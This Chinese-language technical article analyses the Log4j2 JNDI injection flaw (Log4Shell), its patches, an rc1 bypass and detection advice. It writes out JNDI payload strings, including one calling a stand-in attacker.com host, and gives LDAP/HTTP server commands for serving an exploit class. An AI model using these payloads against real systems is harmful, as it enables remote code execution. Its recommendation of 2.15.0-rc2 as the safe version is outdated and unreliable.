Log4j2 远程执行代码漏洞如何攻击? 又如何修复
12 月 9 日晚,Apache Log4j2 反序列化远程代码执行漏洞细节已被公开,Apache Log4j-2 中存在 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。 因该组件使用极为广泛,利用门槛很低,危害极建议所有用户尽快升级到安全版本。
漏洞描述
高危,该漏洞影响范围极广,利用门槛很低,危害极大。
CVSS 评分:10(最高级)
漏洞版本影响
Apache log4j2 2.0 - 2.14.1 版本均受影响。
安全版本
Apache log4j-2.15.0-rc2 (2.15.0-rc1 版)
区分是 Log4j 还是 Log4j2
有些人分不清自己用的是 Log4j 还是 Log4j2。这里给出几个辨别方法:
Log4j2 分为 2 个 jar 包,一个是接口
log4j-api-${版本号}.jar
,一个是具体实现log4j-core-${版本号}.jar
。Log4j 只有一个 jar 包log4j-${版本号}.jar
。Log4j2 的版本号目前均为 2.x。Log4j 的版本号均为 1.x。
Log4j2 的 package 名称前缀为
org.apache.logging.log4j
。Log4j 的 package 名称前缀为org.apache.log4j
。
漏洞复现
漏洞攻击步骤
攻击者执行恶意脚本。
用户发送数据到服务器,不管什么协议,http 也好,别的也好
服务器记录用户请求中的数据,数据中包含恶意 payload:
${jndi:ldap://attacker.com/a}
,其中 attacker.com 是攻击者的服务器log4j 向 attacker.com 发送请求(jndi)时触发漏洞,因为有个
$
符号log4j 收到的 jndi 响应中包含一个 java class 文件路径,比如是
http://second-stage.attacker.com/Exploit.class
,这个 class 文件会被 log4j 所运行在的服务器加载运行第 4 步中注入的 java class 文件中的代码是攻击者的攻击代码
操作系统 windows10jdk: jdk1.8
需要的依赖
项目目录结构
模拟运行存在漏洞 log4j2 的服务器
准备好 RMI 服务端,等待受害服务器访问
恶意代码(打开计算器)
效果
问题记录
类名打印出来了,但是没有启动计算器
仅输出:username:Reference Class Name: EvilCode,未调用计算器
第一个和第二个参数为包路径, 需要更具自己的情况调整修改
漏洞攻击原理
JNDI
JNDI(Java Naming and Directory Interface,Java 命名和目录接口),是 Java 提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。
NDI 由三部分组成:JNDI API、Naming Manager、JNDI SPI。
JNDI API 是应用程序调用的接口,
JNDI SPI 是具体实现,
应用程序需要指定具体实现的 SPI。
下图是官方对 JNDI 介绍的架构图:
Log4j2 Lookup
Log4j2 的 Lookup 主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是 MDC 中的变量,还可以是日志上下文数据等。
下面是一个简单的 Java Lookup 例子和输出:
输出结果
从上面的例子可以看到,通过在日志字符串中加入"${ctx:userName}",Log4j2 在输出日志时,会自动在 Log4j2 的ThreadContext
中查找并引用userName
变量。格式类似"${type:var}",即可以实现对变量 var 的引用。type 可以是如下值:
ctx:允许程序将数据存储在 Log4j
ThreadContext
Map 中,然后在日志输出过程中,查找其中的值。env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:
${env:USER}
。java:允许查找 Java 环境配置信息。例如:
${java:version}
。jndi:允许通过 JNDI 检索变量。
......
其中和本次漏洞相关的便是 jndi,例如上文漏洞浮现
中模拟的:${jndi:rmi://127.0.0.1:1099/evil}
,表示通过 JNDI Lookup 功能,获取rmi//127.0.0.1:1099/evil
上的变量内容。
根据上面提供的攻击代码,攻击者可以通过 JNDI 来执行 LDAP 协议来注入一些非法的可执行代码。
JNDI 注入
由前面的例子可以看到,JNDI 服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象,会如何处理?JNDI 还支持从指定的远程服务器上下载 class 文件,加载到本地 JVM 中,并通过适当的方式创建对象。
“class 文件加载到本地 JVM 中,并通过适当的方式创建对象”,在这个过程中,static 代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI 注入正是基于这个思路实现的。
JNDI 注入原理
由于是 JNDI 注入,因此可以通过在InitialContext.lookup(String name)
方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:
整个调用堆栈较深,这里把几个关键点提取整理如下:
1. MessagePatternConverter.format()
poc 代码中的LOGGER.error()
方法最终会调用到MessagePatternConverter.format()
方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${
子串时,调用 StrSubstitutor 进行进一步解析。
2. StrSubstitutor.resolveVariable()
StrSubstitutor 将${
和}
之间的内容提取出来,调用并传递给Interpolator.lookup()
方法,实现 Lookup 功能。
3. Interpolator.lookup()
Interpolator 实际是一个实现 Lookup 功能的代理类,该类在成员变量strLookupMap
中保存着各类 Lookup 功能的真正实现类。Interpolator 对 上一步提取出的内容解析后,从strLookupMap
获得 Lookup 功能实现类,并调用实现类的lookup()
方法。
例如对 poc 例子中的jndi:rmi://127.0.0.1:1099/exp
解析后得到jndi
的 Lookup 功能实现类为JndiLookup
,并调用JndiLookup.lookup()
方法。
4. JndiLookup.lookup()
JndiLookup.lookup()
方法调用JndiManager.lookup()
方法,获取 JNDI 对象后,调用该对象上的toString()
方法,最终返回该字符串。
5. JndiManager.lookup()
JndiManager.lookup()
较为简单,直接委托给InitialContext.lookup()
方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。
至此,后续即可以按照常规的 JNDI 注入路径进行分析。
漏洞补丁分析
2.15.0-rc1
通过比较 2.15.0-rc1 和该版本之前最后一个版本 2.14.1 之间的差异,可以发现 Log4j2 团队在 12 月 5 日提交了一个名为Restrict LDAP access via JNDI (#608)
的 commit。该 commit 的详细内容如下链接:
https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3
除去一些测试代码和辅助代码,该 commit 最主要内容是在上文中提到的 JndiManager.lookup()
方法增加了几种限制,分别是allowedHosts
、allowedClasses
、allowedProtocols
。
各个限制的内容分别如下:
可以看到,rc1 补丁通过对 JNDI Lookup 增加白名单的方式,限制默认可以访问的主机为本地 IP,限制默认支持的协议类型为java
、ldap
、ldaps
,限制 LDAP 协议默认可以使用的 Java 类型为少数基础类型,从而大大减少了默认的攻击面。
4.2 2.15.0-rc2
4.2.1 rc1 中存在的问题
在 rc1 还未正式成为 release 版本之前,Log4j 团队又在两天不到的时间里发布了 rc2 版本,说明 rc1 依然存在着一些问题。我们来看下 rc1 里主要修复的JndiManager.lookup()
方法的整体逻辑结构:
从上面的代码结构中可以总结如下的逻辑:
对传入的
name
参数进行4.1
章节提到的各类检查。如果检查不通过,则直接返回null
。如果产生
URISyntaxException
,则对该异常忽略,继续执行this.context.lookup(name)
。如果未产生
URISyntaxException
,则执行this.context.lookup(name)
。
我们重点关注catch
代码块,rc1 默认不对URISyntaxException
异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)
。
再看下try
代码块中可能产生URISyntaxException
的地方。很不幸,try
代码块的第一个语句即可能产生该异常:URI uri = new URI(name);
。
试想一下,如果能够构造某个特殊的 URI,导致URI uri = new URI(name);
语句解析 URI 异常,抛出URISyntaxException
,但又能被this.context.lookup(name)
正确处理,不就可以绕过了吗?
4.2.2 绕过 rc1
由于 rc1 未在 maven 中央仓库上,因此需要自行下载代码并构建:
到 Log4j2 的 GitHub 官方仓库下载 rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录,执行`mvn clean install -DskipTests`。最终会在本地 maven 仓库上生成 rc1 的 jar 包,版本为 2.15.0,后续测试使用该 jar 包。
由于 rc1 默认未开启 Lookup 功能,需要先开启,可以通过在配置文件的%msg
中添加{lookup}
进行开启。在当前类路径下添加 log4j2.xml,内容参考如下:
漏洞利用代码和上文中一致,编译生成 Exploit.class。
本地执行
python3 -m http.server 8081
,启动 web 服务器,监听在 8081 端口。将上一步编译生成的 Exploit.class 文件放到 web 服务的根目录(根目录即为执行python3 -m http.server 8081
命令的工作目录)。由于 rc1 中默认仅支持
java
、ldap
、ldaps
这三种协议,就使用 LDAP 协议吧。自己搭建 LDAP 服务器比较麻烦,这里直接利用下marshalsec
这个库。运行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888
,启动 LDAP 服务。编写漏洞 poc 代码,并编译运行。代码和运行结果如下:
可以看到,通过构建一个简单的带空格的异形 URI 地址(127.0.0.1:8888/
和exp
之间),rc1 被绕过了。
4.2.3 rc2 的修复方案
通过比较 2.15.0-rc1 和 2.15.0-rc2 之间的差异,可以发现 Log4j2 团队在 12 月 10 日提交了一个名为Handle URI exception
的 commit。该 commit 的详细内容如下链接:
https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658
该 commit 主要内容是对 rc1 中JndiManager.lookup()
方法里的catch
代码块进行了修改:当URISyntaxException
异常被捕获时,直接返回null
。从而无法使用上一章节的异形 URI 地址绕过。
漏洞修复建议
检测方案
(1)建议企业可以通过流量监测设备监控是否有相关 DNSLog 域名的请求.
(2)建议企业可以通过监测相关流量或者日志中是否存在
jndi:ldap://
、jndi:rmi
等字符来发现可能的攻击行为。
修复方案
检查所有使用了 Log4j 组件的系统,并尽快升级到最新的 log4j-2.15.0-rc2 版本
参考连接:
Log4j2 Lookups: https://logging.apache.org/log4j/2.x/manual/lookups.html
Oracle JNDI 官方文档: https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
一篇 JNDI 注入原理文章: http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/
marshalsec: https://github.com/mbechler/marshalsec
Log4j2 2.14.1 和 2.15.0-rc1 的区别比较: https://github.com/apache/logging-log4j2/compare/rel/2.14.1...log4j-2.15.0-rc1
Log4j2 2.15.0-rc1 和 rc2 的区别比较: https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2
版权声明: 本文为 InfoQ 作者【琦彦】的原创文章。
原文链接:【http://xie.infoq.cn/article/e68000f1ad86e88db331e6ed1】。文章转载请联系作者。
评论